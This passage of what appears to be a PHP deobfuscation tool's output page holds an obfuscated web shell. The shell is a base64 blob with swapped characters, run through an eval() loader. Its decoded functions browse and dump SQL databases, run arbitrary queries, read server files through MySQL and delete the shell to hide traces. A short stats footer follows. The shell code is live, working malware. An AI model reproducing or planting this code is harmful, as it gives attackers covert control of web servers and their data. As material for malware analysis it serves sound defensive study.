X1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJbTFkaDUxZCgpOw0KCTVjaDIgIg0KPGQ0diBjbDFzcz1oNTFkNXI+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQogICAgbTFkZjIydDVyKCk7DQogICAgDQogfQ0KIA0KIGYzbmN0NDJuIG0xZHM1bGZybSgpDQogew0KICAgIA0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIG0xZGg1MWQoKTsNCgk1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQogICAgDQogICAgDQogICAgNWNoMiAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICA1Y2gyICc8YnI+SzRsbCBNNT88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgltMWRGMjJ0NXIoKTsNCiAgICANCiB9DQoNCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJ20xZCcgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Function Calls

None

Variables

None

Stats

MD5 69d943b9d723b66267380d307090fd9b
Eval Count 0
Decode Time 940 ms